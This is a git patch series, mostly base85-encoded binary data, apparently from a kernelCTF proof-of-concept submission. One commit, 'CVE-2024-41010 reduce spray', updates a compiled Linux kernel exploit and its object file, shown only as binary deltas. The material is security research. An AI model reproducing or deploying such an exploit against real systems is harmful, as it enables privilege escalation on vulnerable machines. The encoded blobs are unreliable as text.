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 MKS5CSIRHEY0MbdssQ>@~ literal 0 HcmV?d00001 From b8b2f271df06eb2688393a6bcaaee8b2db77f399 Mon Sep 17 00:00:00 2001 From: 0xTen Date: Wed, 21 Aug 2024 15:44:56 -0300 Subject: [PATCH 02/12] CVE-2024-41010 reduce spray --- .../exploit/lts-6.6.31/exploit | Bin 977904 -> 977904 bytes .../exploit/lts-6.6.31/exploit.c | 2 +- .../exploit/lts-6.6.31/obj/exploit.o | Bin 27592 -> 27568 bytes 3 files changed, 1 insertion(+), 1 deletion(-) diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit index 6d8aa2cff7b38909a359e1d4b0276f33978bd483..879d49ee0a172269b6340741ac3e24eefed25731 100755 GIT binary patch delta 57197 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 